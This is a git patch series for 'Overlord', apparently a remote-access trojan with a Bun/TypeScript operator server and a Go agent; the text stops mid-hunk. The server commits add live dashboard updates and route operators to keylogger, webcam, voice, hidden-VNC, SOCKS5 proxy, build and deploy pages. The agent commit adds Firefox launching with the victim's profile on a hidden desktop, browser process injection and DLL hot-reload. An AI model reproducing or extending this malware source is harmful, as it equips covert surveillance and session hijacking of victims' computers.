From af6706ea817b694ddc5d7d765ab5b12709fcf0f0 Mon Sep 17 00:00:00 2001 From: unknown Date: Tue, 17 Mar 2026 14:30:43 +0100 Subject: [PATCH 1/3] feat: dashboard WebSocket push + page-routes refactor --- Overlord-Server/public/assets/data.js | 66 ++- Overlord-Server/src/main-server.ts | 12 + .../src/server/routes/client-routes.ts | 4 + .../src/server/routes/page-routes.ts | 476 +++++------------- .../routes/websocket-lifecycle-routes.ts | 13 + .../src/server/routes/ws-upgrade-routes.ts | 12 + .../src/sessions/sessionManager.ts | 43 ++ Overlord-Server/src/sessions/types.ts | 3 +- 8 files changed, 282 insertions(+), 347 deletions(-) diff --git a/Overlord-Server/public/assets/data.js b/Overlord-Server/public/assets/data.js index de79361..464f03f 100644 --- a/Overlord-Server/public/assets/data.js +++ b/Overlord-Server/public/assets/data.js @@ -2,9 +2,13 @@ import { state } from "./state.js"; import { digestData } from "./utils.js"; const POLL_INTERVAL_MS = 5000; +const FALLBACK_POLL_MS = 30000; const PREF_REFRESH_KEY = "overlord_refresh_interval_seconds"; let pollTimer = null; let render = () => {}; +let dashboardWs = null; +let dashboardWsConnected = false; +let wsReconnectTimer = null; export function registerRenderer(fn) { render = fn; @@ -100,8 +104,68 @@ function getConfiguredPollIntervalMs(defaultMs) { return boundedSeconds * 1000; } +function connectDashboardWs() { + if (dashboardWs) return; + const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; + const wsUrl = `${protocol}//${window.location.host}/api/dashboard/ws`; + try { + dashboardWs = new WebSocket(wsUrl); + } catch { + scheduleDashboardReconnect(); + return; + } + + dashboardWs.onopen = () => { + console.log("[dashboard] ws connected"); + dashboardWsConnected = true; + adjustPollingForWs(); + }; + + dashboardWs.onmessage = (event) => { + try { + const msg = typeof event.data === "string" ? JSON.parse(event.data) : null; + if (msg && msg.type === "clients_changed") { + loadWithOptions({ force: false }); + } + } catch {} + }; + + dashboardWs.onclose = () => { + console.warn("[dashboard] ws closed"); + dashboardWs = null; + dashboardWsConnected = false; + adjustPollingForWs(); + scheduleDashboardReconnect(); + }; + + dashboardWs.onerror = () => { + console.warn("[dashboard] ws error"); + }; +} + +function scheduleDashboardReconnect() { + if (wsReconnectTimer) return; + wsReconnectTimer = setTimeout(() => { + wsReconnectTimer = null; + connectDashboardWs(); + }, 3000); +} + +function adjustPollingForWs() { + clearInterval(pollTimer); + const interval = dashboardWsConnected + ? FALLBACK_POLL_MS + : getConfiguredPollIntervalMs(POLL_INTERVAL_MS); + pollTimer = setInterval(() => { + loadWithOptions({ force: false }); + }, interval); +} + export function startAutoRefresh(intervalMs = POLL_INTERVAL_MS) { - const effectiveInterval = getConfiguredPollIntervalMs(intervalMs); + connectDashboardWs(); + const effectiveInterval = dashboardWsConnected + ? FALLBACK_POLL_MS + : getConfiguredPollIntervalMs(intervalMs); clearInterval(pollTimer); pollTimer = setInterval(() => { loadWithOptions({ force: false }); diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index e02bfd6..492e373 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -416,6 +416,17 @@ async function startServer() { handleProcessViewerOpen, handleKeyloggerViewerOpen, handleVoiceViewerOpen, + handleDashboardViewerOpen: (ws: import("bun").ServerWebSocket) => { + const id = crypto.randomUUID(); + ws.data.sessionId = id; + sessionManager.addDashboardSession({ + id, + viewer: ws, + createdAt: Date.now(), + userId: ws.data.userId, + userRole: ws.data.userRole, + }); + }, handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen, handleConsoleViewerMessage, handleRemoteDesktopViewerMessage, @@ -456,6 +467,7 @@ async function startServer() { clearPendingNotificationScreenshots: notificationPluginHandlers.clearPendingNotificationScreenshots, notifyRemoteDesktopStatus, handleBuildTagConnection, + notifyDashboard: sessionManager.notifyDashboardViewers, }; const server = Bun.serve({ diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts index 2bf9188..3d058d4 100644 --- a/Overlord-Server/src/server/routes/client-routes.ts +++ b/Overlord-Server/src/server/routes/client-routes.ts @@ -26,6 +26,7 @@ import { getUserClientAccessScope, listUserClientRuleIdsByAccess, } from "../../users"; +import { notifyDashboardViewers } from "../../sessions/sessionManager"; type RequestIpProvider = { requestIP: (req: Request) => { address?: string } | null | undefined; @@ -275,6 +276,7 @@ export async function handleClientRoutes( } deleteClientRow(targetId); + notifyDashboardViewers(); const ip = server.requestIP(req)?.address || "unknown"; logAudit({ @@ -331,6 +333,7 @@ export async function handleClientRoutes( if (!updated) { return Response.json({ error: "Client not found" }, { status: 404 }); } + notifyDashboardViewers(); const ip = server.requestIP(req)?.address || "unknown"; logAudit({ @@ -389,6 +392,7 @@ export async function handleClientRoutes( if (!updated) { return Response.json({ error: "Client not found" }, { status: 404 }); } + notifyDashboardViewers(); const ip = server.requestIP(req)?.address || "unknown"; logAudit({ diff --git a/Overlord-Server/src/server/routes/page-routes.ts b/Overlord-Server/src/server/routes/page-routes.ts index e813e96..ed4d758 100644 --- a/Overlord-Server/src/server/routes/page-routes.ts +++ b/Overlord-Server/src/server/routes/page-routes.ts @@ -1,5 +1,5 @@ import { authenticateRequest } from "../../auth"; -import { requirePermission } from "../../rbac"; +import { requirePermission, type Permission } from "../../rbac"; import { canUserAccessClient, getUserById, type UserRole } from "../../users"; type PageRouteDeps = { @@ -32,24 +32,108 @@ async function serveChangePasswordIfRequired( return null; } +async function serveFile(deps: PageRouteDeps, htmlFile: string): Promise { + const file = Bun.file(`${deps.PUBLIC_ROOT}/${htmlFile}`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType(htmlFile)) }); + } + return null; +} + +// ---- Page definitions ---- + +type AccessLevel = "any" | "no-viewer" | "admin" | "admin-or-operator"; +type StaticPageDef = { + path: string; + file: string; + access: AccessLevel; + permission?: Permission; + checkPasswordChange?: boolean; +}; + +type ClientPageDef = { + pattern: RegExp; + file: string; + clientIdGroup: number; +}; + +type QueryClientPageDef = { + path: string; + file: string; +}; + +/** Static pages: each entry maps a URL path to its HTML file + access rules. */ +const STATIC_PAGES: StaticPageDef[] = [ + { path: "/metrics", file: "metrics.html", access: "any", checkPasswordChange: true }, + { path: "/settings", file: "settings.html", access: "any", checkPasswordChange: true }, + { path: "/logs", file: "logs.html", access: "any", checkPasswordChange: true, permission: "audit:view" }, + { path: "/notifications", file: "notifications.html", access: "admin-or-operator", checkPasswordChange: true }, + { path: "/users", file: "users.html", access: "admin", checkPasswordChange: true }, + { path: "/user-client-access", file: "user-client-access.html", access: "admin", checkPasswordChange: true }, + { path: "/build", file: "build.html", access: "admin-or-operator" }, + { path: "/plugins", file: "plugins.html", access: "admin-or-operator" }, + { path: "/scripts", file: "scripts.html", access: "no-viewer" }, + { path: "/deploy", file: "deploy.html", access: "admin" }, + { path: "/socks5-manager", file: "socks5-manager.html", access: "no-viewer", checkPasswordChange: true }, +]; + +/** Client-scoped pages accessed via query param ?clientId=... */ +const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [ + { path: "/remotedesktop", file: "remotedesktop.html" }, + { path: "/webcam", file: "webcam.html" }, + { path: "/hvnc", file: "hvnc.html" }, + { path: "/voice", file: "voice.html" }, +]; + +/** Client-scoped pages accessed via path /:clientId/feature */ +const PATH_CLIENT_PAGES: ClientPageDef[] = [ + { pattern: /^\/(.+)\/console$/, file: "console.html", clientIdGroup: 1 }, + { pattern: /^\/(.+)\/files$/, file: "filebrowser.html", clientIdGroup: 1 }, + { pattern: /^\/(.+)\/processes$/, file: "processes.html", clientIdGroup: 1 }, + { pattern: /^\/(.+)\/keylogger$/, file: "keylogger.html", clientIdGroup: 1 }, +]; + +function checkAccess(role: UserRole, access: AccessLevel): Response | null { + switch (access) { + case "any": + return null; + case "no-viewer": + if (role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + return null; + case "admin": + if (role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + return null; + case "admin-or-operator": + if (role !== "admin" && role !== "operator") { + return new Response("Forbidden: Admin or operator access required", { status: 403 }); + } + return null; + } +} + export async function handlePageRoutes( req: Request, url: URL, deps: PageRouteDeps, ): Promise { + if (req.method !== "GET") return null; + const canAccessClientPage = (userId: number, role: UserRole, clientId: string): boolean => { if (!clientId) return false; return canUserAccessClient(userId, role, clientId); }; - if (req.method === "GET" && (url.pathname === "/" || url.pathname === "/index.html")) { + // ---- Root / index ---- + if (url.pathname === "/" || url.pathname === "/index.html") { const authed = await authenticateRequest(req); - if (authed) { const maybeChange = await serveChangePasswordIfRequired(deps, authed.userId); if (maybeChange) return maybeChange; } - const filePath = authed ? "/index.html" : "/login.html"; const file = Bun.file(`${deps.PUBLIC_ROOT}${filePath}`); if (await file.exists()) { @@ -57,19 +141,45 @@ export async function handlePageRoutes( } } - if (req.method === "GET" && url.pathname === "/change-password.html") { - const file = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("/change-password.html")) }); - } + // ---- Change password (always accessible) ---- + if (url.pathname === "/change-password.html") { + return serveFile(deps, "change-password.html"); } - if (req.method === "GET" && url.pathname === "/remotedesktop") { + // ---- Static pages (table-driven) ---- + for (const page of STATIC_PAGES) { + if (url.pathname !== page.path) continue; + const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); + if (!user) return serveLoginOrUnauthorized(deps); + + if (page.checkPasswordChange) { + const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); + if (maybeChange) return maybeChange; } + const accessDenied = checkAccess(user.role, page.access); + if (accessDenied) return accessDenied; + + if (page.permission) { + try { + requirePermission(user, page.permission); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + } + + return serveFile(deps, page.file); + } + + // ---- Client pages via query param (?clientId=...) ---- + for (const page of QUERY_CLIENT_PAGES) { + if (url.pathname !== page.path) continue; + + const user = await authenticateRequest(req); + if (!user) return serveLoginOrUnauthorized(deps); + const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); if (maybeChange) return maybeChange; @@ -82,351 +192,27 @@ export async function handlePageRoutes( return new Response("Forbidden: Client access denied", { status: 403 }); } - const file = Bun.file(`${deps.PUBLIC_ROOT}/remotedesktop.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("remotedesktop.html")) }); - } + return serveFile(deps, page.file); } - if (req.method === "GET" && url.pathname === "/webcam") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } + // ---- Client pages via path (/:clientId/feature) ---- + for (const page of PATH_CLIENT_PAGES) { + const match = url.pathname.match(page.pattern); + if (!match) continue; - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; + const user = await authenticateRequest(req); + if (!user) return serveLoginOrUnauthorized(deps); if (user.role === "viewer") { return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); } - const clientId = (url.searchParams.get("clientId") || "").trim(); + const clientId = match[page.clientIdGroup]; if (!canAccessClientPage(user.userId, user.role, clientId)) { return new Response("Forbidden: Client access denied", { status: 403 }); } - const file = Bun.file(`${deps.PUBLIC_ROOT}/webcam.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("webcam.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/hvnc") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - - const clientId = (url.searchParams.get("clientId") || "").trim(); - if (!canAccessClientPage(user.userId, user.role, clientId)) { - return new Response("Forbidden: Client access denied", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/hvnc.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("hvnc.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/voice") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - - const clientId = (url.searchParams.get("clientId") || "").trim(); - if (!canAccessClientPage(user.userId, user.role, clientId)) { - return new Response("Forbidden: Client access denied", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/voice.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("voice.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/metrics") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - - const file = Bun.file(`${deps.PUBLIC_ROOT}/metrics.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("metrics.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/logs") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - - try { - requirePermission(user, "audit:view"); - } catch (error) { - if (error instanceof Response) return error; - return new Response("Forbidden", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/logs.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("logs.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/notifications") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role !== "admin" && user.role !== "operator") { - return new Response("Forbidden", { status: 403 }); - } - - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - - const file = Bun.file(`${deps.PUBLIC_ROOT}/notifications.html`); - if (await file.exists()) { - return new Response(file, { - headers: deps.secureHeaders(deps.mimeType("notifications.html")), - }); - } - } - - if (req.method === "GET" && url.pathname === "/users") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - - if (user.role !== "admin") { - return new Response("Forbidden: Admin access required", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/users.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("users.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/user-client-access") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - - if (user.role !== "admin") { - return new Response("Forbidden: Admin access required", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/user-client-access.html`); - if (await file.exists()) { - return new Response(file, { - headers: deps.secureHeaders(deps.mimeType("user-client-access.html")), - }); - } - } - - if (req.method === "GET" && url.pathname === "/settings") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - - const file = Bun.file(`${deps.PUBLIC_ROOT}/settings.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("settings.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/build") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role !== "admin" && user.role !== "operator") { - return new Response("Forbidden: Admin or operator access required", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/build.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("build.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/plugins") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role !== "admin" && user.role !== "operator") { - return new Response("Forbidden: Admin or operator access required", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/plugins.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("plugins.html")) }); - } - } - - const consolePageMatch = url.pathname.match(/^\/(.+)\/console$/); - if (req.method === "GET" && consolePageMatch) { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - if (!canAccessClientPage(user.userId, user.role, consolePageMatch[1])) { - return new Response("Forbidden: Client access denied", { status: 403 }); - } - const file = Bun.file(`${deps.PUBLIC_ROOT}/console.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("console.html")) }); - } - } - - const filesPageMatch = url.pathname.match(/^\/(.+)\/files$/); - if (req.method === "GET" && filesPageMatch) { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - if (!canAccessClientPage(user.userId, user.role, filesPageMatch[1])) { - return new Response("Forbidden: Client access denied", { status: 403 }); - } - const file = Bun.file(`${deps.PUBLIC_ROOT}/filebrowser.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("filebrowser.html")) }); - } - } - - const processesPageMatch = url.pathname.match(/^\/(.+)\/processes$/); - if (req.method === "GET" && processesPageMatch) { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - if (!canAccessClientPage(user.userId, user.role, processesPageMatch[1])) { - return new Response("Forbidden: Client access denied", { status: 403 }); - } - const file = Bun.file(`${deps.PUBLIC_ROOT}/processes.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("processes.html")) }); - } - } - - const keyloggerPageMatch = url.pathname.match(/^\/(.+)\/keylogger$/); - if (req.method === "GET" && keyloggerPageMatch) { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - if (!canAccessClientPage(user.userId, user.role, keyloggerPageMatch[1])) { - return new Response("Forbidden: Client access denied", { status: 403 }); - } - const file = Bun.file(`${deps.PUBLIC_ROOT}/keylogger.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("keylogger.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/socks5-manager") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - const file = Bun.file(`${deps.PUBLIC_ROOT}/socks5-manager.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("socks5-manager.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/scripts") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot execute scripts", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/scripts.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("scripts.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/deploy") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role !== "admin") { - return new Response("Forbidden: Admin access required", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/deploy.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("deploy.html")) }); - } + return serveFile(deps, page.file); } return null; diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index f3b0571..c9acce1 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -32,6 +32,7 @@ type WsLifecycleDeps = { hvncStreamingState: Map; webcamStreamingState: Map; getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number }; + handleDashboardViewerOpen: (ws: ServerWebSocket) => void; handleConsoleViewerOpen: (ws: ServerWebSocket) => void; handleRemoteDesktopViewerOpen: (ws: ServerWebSocket) => void; handleWebcamViewerOpen: (ws: ServerWebSocket) => void; @@ -81,12 +82,14 @@ type WsLifecycleDeps = { clearPendingNotificationScreenshots: (clientId: string) => void; notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void; handleBuildTagConnection: (clientId: string, buildTag: string) => void; + notifyDashboard: () => void; }; export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLifecycleDeps): void { const role = ws.data.role as string; const clientId = ws.data.clientId; const ip = ws.data.ip; + if (role === "dashboard_viewer") return deps.handleDashboardViewerOpen(ws); if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws); if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws); if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws); @@ -125,6 +128,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLif if (role === "client") { deps.notifyRemoteDesktopStatus(id, "online"); metrics.recordConnection(); + deps.notifyDashboard(); } } @@ -154,6 +158,7 @@ export function handleWebSocketMessage( if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message); if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message); if (socketRole === "notifications_viewer") return; + if (socketRole === "dashboard_viewer") return; const { clientId, ip } = ws.data; const info = clientManager.getClient(clientId); @@ -176,6 +181,7 @@ export function handleWebSocketMessage( handleHello(info, payload, ws, ip); clientManager.addClient(info.id, info); deps.dispatchAutoScriptsForConnection(info, ws); + deps.notifyDashboard(); if (info.role === "client") { const wasKnown = Boolean((ws as any)?.data?.wasKnown); logAudit({ @@ -201,6 +207,7 @@ export function handleWebSocketMessage( break; case "pong": handlePong(info, payload); + deps.notifyDashboard(); break; case "frame": if ((payload as any)?.header?.fps === 0) { @@ -447,12 +454,18 @@ export function handleWebSocketClose( return; } + if (role === "dashboard_viewer") { + sessionManager.deleteDashboardSession(ws.data.sessionId || clientId); + return; + } + clientManager.deleteClient(clientId); stopAllProxiesForClient(clientId); clearClientSyncState(clientId); deps.notifyConsoleClosed(clientId, "Client disconnected"); setOnlineState(clientId, false); deps.clearPendingNotificationScreenshots(clientId); + deps.notifyDashboard(); logger.info(`[close] ${clientId} code=${code} reason=${reason}`); if (role === "client") { diff --git a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts index b3d556d..e8bbc5c 100644 --- a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts +++ b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts @@ -193,5 +193,17 @@ export async function handleWsUpgradeRoutes( return new Response("Upgrade failed", { status: 500 }); } + if (req.method === "GET" && url.pathname === "/api/dashboard/ws") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + const ip = server.requestIP(req)?.address || ""; + if (server.upgrade(req, { data: { role: "dashboard_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) { + return new Response(); + } + return new Response("Upgrade failed", { status: 500 }); + } + return null; } diff --git a/Overlord-Server/src/sessions/sessionManager.ts b/Overlord-Server/src/sessions/sessionManager.ts index 6c73b91..8cae849 100644 --- a/Overlord-Server/src/sessions/sessionManager.ts +++ b/Overlord-Server/src/sessions/sessionManager.ts @@ -10,6 +10,14 @@ import type { SocketData, } from "./types"; +export type DashboardViewer = { + id: string; + viewer: ServerWebSocket; + createdAt: number; + userId?: number; + userRole?: string; +}; + const consoleSessions = new Map(); const rdSessions = new Map(); const webcamSessions = new Map(); @@ -22,6 +30,7 @@ const processSessions = new Map(); const notificationSessions = new Map(); const keyloggerSessions = new Map(); const voiceSessions = new Map(); +const dashboardSessions = new Map(); function addSessionToClientIndex( index: Map>, @@ -371,3 +380,37 @@ export function getVoiceSessionsByClient(clientId: string): VoiceViewer[] { export function getAllVoiceSessions(): Map { return voiceSessions; } + +export function addDashboardSession(session: DashboardViewer): void { + dashboardSessions.set(session.id, session); +} + +export function deleteDashboardSession(sessionId: string): boolean { + return dashboardSessions.delete(sessionId); +} + +export function getAllDashboardSessions(): Map { + return dashboardSessions; +} + +export function getDashboardSessionCount(): number { + return dashboardSessions.size; +} + +let dashboardBroadcastTimer: ReturnType | null = null; +const DASHBOARD_DEBOUNCE_MS = 150; + +export function notifyDashboardViewers(): void { + if (dashboardBroadcastTimer) return; + dashboardBroadcastTimer = setTimeout(() => { + dashboardBroadcastTimer = null; + const msg = JSON.stringify({ type: "clients_changed" }); + for (const [id, session] of dashboardSessions) { + try { + session.viewer.send(msg); + } catch { + dashboardSessions.delete(id); + } + } + }, DASHBOARD_DEBOUNCE_MS); +} diff --git a/Overlord-Server/src/sessions/types.ts b/Overlord-Server/src/sessions/types.ts index cdb41a2..cc4b3d7 100644 --- a/Overlord-Server/src/sessions/types.ts +++ b/Overlord-Server/src/sessions/types.ts @@ -10,7 +10,8 @@ export type SocketRole = | "process_viewer" | "notifications_viewer" | "keylogger_viewer" - | "voice_viewer"; + | "voice_viewer" + | "dashboard_viewer"; export type SocketData = { role: SocketRole; From 162c4d9b81b0e523f8a8f3288eaba7a55f9163d5 Mon Sep 17 00:00:00 2001 From: unknown Date: Tue, 17 Mar 2026 14:36:38 +0100 Subject: [PATCH 2/3] add missing HVNCAutoStartExplorer stub for non-windows builds --- Overlord-Client/cmd/agent/capture/hvnc_stub.go | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Overlord-Client/cmd/agent/capture/hvnc_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_stub.go index f967f1c..824b705 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_stub.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_stub.go @@ -50,3 +50,7 @@ func HVNCInputKeyUp(vk uint16) error { func HVNCInputMouseWheel(delta int32) error { return errors.New("HVNC not supported on this platform") } + +func HVNCAutoStartExplorer() error { + return errors.New("HVNC not supported on this platform") +} From 1e5af8a8cfb445ab4720bac5d7f63fbcd780c97b Mon Sep 17 00:00:00 2001 From: unknown Date: Tue, 17 Mar 2026 15:09:44 +0100 Subject: [PATCH 3/3] hvnc: WS reconnect, H264 retry, Firefox injection, DLL hot-reload, error feedback, custom exe modal --- .../cmd/agent/capture/hvnc_inject_windows.go | 14 +- .../cmd/agent/capture/hvnc_windows.go | 82 ++++++-- Overlord-Server/public/assets/hvnc.js | 179 ++++++++++++++---- Overlord-Server/public/hvnc.html | 10 + .../src/server/ws-console-rd-hvnc.ts | 45 ++++- 5 files changed, 270 insertions(+), 60 deletions(-) diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index 1e552b1..7cde46e 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -213,6 +213,15 @@ var browserInfoMap = map[string]browserInfo{ }, userData: `Microsoft\Edge\User Data`, }, + "firefox": { + name: "Firefox", + exeName: "firefox.exe", + exePaths: []string{ + `\Mozilla Firefox\firefox.exe`, + }, + userData: `Mozilla\Firefox`, + useAppData: true, + }, } func findBrowserExe(info browserInfo) string { @@ -709,8 +718,11 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName "brave.exe": true, "msedge.exe": true, } - if browserExes[strings.ToLower(filepath.Base(filePath))] { + baseName := strings.ToLower(filepath.Base(filePath)) + if browserExes[baseName] { args += " --no-sandbox --allow-no-sandbox-job --disable-gpu --start-fullscreen" + } else if baseName == "firefox.exe" { + args += " -no-remote -wait-for-browser" } cmdLine, err := syscall.UTF16FromString(filePath + args) if err != nil { diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go index 4831b21..7994a57 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go @@ -173,7 +173,16 @@ var ( // Capture cache: pooled DC/DIB per window to avoid per-frame allocation hvncWinCache map[uintptr]*hvncWinCacheEntry - hvncWinCachePrev []byte // previous composite frame for dirty detection + hvncWinCachePrev []byte + + hvncCompHdcMem uintptr + hvncCompHbmp uintptr + hvncCompBits unsafe.Pointer + hvncCompW int + hvncCompH int + + hvncPendingMouseMove *hvncTask + hvncPendingMoveMu sync.Mutex ) type hvncTaskKind int @@ -355,6 +364,28 @@ func CleanupHVNCDesktop() { hvncWinCache = nil hvncWinCachePrev = nil + if hvncCompHbmp != 0 { + deleteObject(hvncCompHbmp) + hvncCompHbmp = 0 + } + if hvncCompHdcMem != 0 { + deleteDC(hvncCompHdcMem) + hvncCompHdcMem = 0 + } + hvncCompBits = nil + hvncCompW = 0 + hvncCompH = 0 + + hvncInputMu.Lock() + hvncShiftDown = false + hvncCtrlDown = false + hvncAltDown = false + hvncCapsLock = false + hvncMouseButtons = 0 + hvncHasCursor = false + 